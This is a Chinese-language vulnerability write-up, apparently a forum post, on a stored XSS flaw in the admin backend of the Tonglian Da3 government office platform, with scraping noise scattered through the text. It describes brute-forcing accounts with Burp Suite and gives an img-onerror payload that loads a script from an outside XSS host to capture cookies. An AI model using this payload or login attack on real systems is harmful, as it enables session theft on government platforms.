同联Da3协同办公平台后台通用储存型xss漏洞

admin

- K2 i% N+ I( p$ D% y/ }! i( M - a5 n4 v" b* w* \5 D) X 6 ~- e) |: i; p A , q1 x0 R9 k# T4 S; _+ u " @2 R6 ?, v- V9 D, c

( W7 H+ ]. B' k1 _" } 同联Da3协同办公平台后台通用储存型xss漏洞

- B( t9 \" C) s0 d

, s" |! }) L5 q) f" H& Y 平台简介： * R- M4 b9 ?2 ^2 r" D

 

7 y, g7 l/ `# \% X( I* K G* i 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
' {# o0 T5 C" |同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
) i: z, [0 }& v6 q同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 4 ?1 j x+ [4 Q2 r2 y! M5 ~, v

- ]. E8 [6 s E5 G6 B9 H6 A( t

 

6 T& x9 P: Q% A ?4 ^

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

$ s$ x H& o) B" ^! f  

, n7 j4 M* {. K3 N8 L+ C/ |

http://1.1.1.1:7197/cap-aco/#（案例2-）

" r) a j6 g+ q3 d- ^4 k

8 ?/ O7 ]# T7 F( ~& c: e; V% f% @ http://www.XXOO.com （案例1-官网网站） / _3 A2 a* y" J. v/ W

, L2 k. w' [) p' L 漏洞详情:

9 Y1 n" d+ @* E) ?3 s: e

 案例一、

- W. ]% l% s' Z1 g6 h. \7 R! ]* Q

1 M" e/ v" _5 N# Q- `+ J+ X/ J" h 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 4 R; ?3 c6 m/ m, [4 u7 m

! s. m1 ] h* L# E* y) J, E+ o2 V

2 F5 s [* _3 q/ a8 l7 e5 j2 h      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

  ; ~* B- p+ S1 ?2 ]3 L) x

7 g( m- R, _) B; Z( l' Q% o, \

# a8 t! f. _2 X/ @ status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

6 y, ~5 X, P3 C$ s5 _, N4 ?   ( Y1 \4 v) q0 x& n

4 ?* } ^9 q- g5 N+ W, |9 z R( W- Y

: l- ?7 g2 t! o5 U, j5 G

. s# d5 ]; Z. Y: R

0 p0 q3 K9 @/ M, ]0 W3 {+ ]$ X 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 8 @6 M: Z5 v N ?; P& `: G- ?( z ^

. @, ]9 A7 |) E( m) |% T

?$ {: @) k- D) T+ m/ A  

- g7 Q6 ?" V5 Z5 t7 D <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

8 i; |7 C$ A s8 W" z: r

6 L. a+ E3 x5 z; [. n c5 ~& ]

: P' M9 W5 p' S4 }/ z

7 C* v- i" L5 z2 j1 x1 j! W2 x( L% a; ~ 然后发送，接收cookie如图： ]0 {8 E I9 D8 ~8 c2 \+ o

* m& W& ]$ l2 v/ V" Z

4 R" y6 f. C& `2 |   5 b$ c$ u ^6 W% y

+ Y4 M6 Y2 @# |& x/ @) V) M! `

 

! V3 C9 w- N: Z$ x' x

  , f. M$ P2 T2 ~! C

2 J* N6 y1 i; I3 s/ V! Y1 \

4 g9 W" i3 I* D6 K5 [# ~1 W+ O   6 Y# q2 t6 r( k$ c* U1 n" u

2 B4 a8 ^* E+ S

2 ]9 G! Z' F) ^2 p! I' l

; N1 T5 H1 n2 ~ [5 @2 f6 O

" w# ^0 o. q0 ?  

6 V) Q' h# q1 y: ?* Q8 \

案例2、 ( G3 X6 e9 G0 i* X

' t8 P9 _' {, L% t8 X2 i2 a* ~

; Z& K9 E- E4 u$ g, d& ~ 前面步骤都一样，下面看效果图： 0 v! C U/ k5 q7 ~6 t; k/ G

+ c( }9 D" \. p$ v; e9 V5 h% ^

5 e/ q7 Z( x) J$ U: r5 \   0 @; F$ g" K H. E1 q+ V) ]

! ]$ e: C _: K; I

3 u8 X/ O# ^) z6 O4 w  

1 X1 f8 W! A0 r8 z- o2 `1 H

, ?1 v% E' I& h4 F0 ]7 L0 T6 S' ]

3 ?, X7 s9 K# d  

$ J0 ]% c* |' }$ d! c3 O2 y

' d3 q) y$ x* s: H- V4 M  

; x, Q5 B8 Y9 r8 j! K  

. _, E. u6 R2 i: x   + D" e1 }$ k9 c6 H4 @- v# A: g, g

! I8 U* I, }9 l& U- o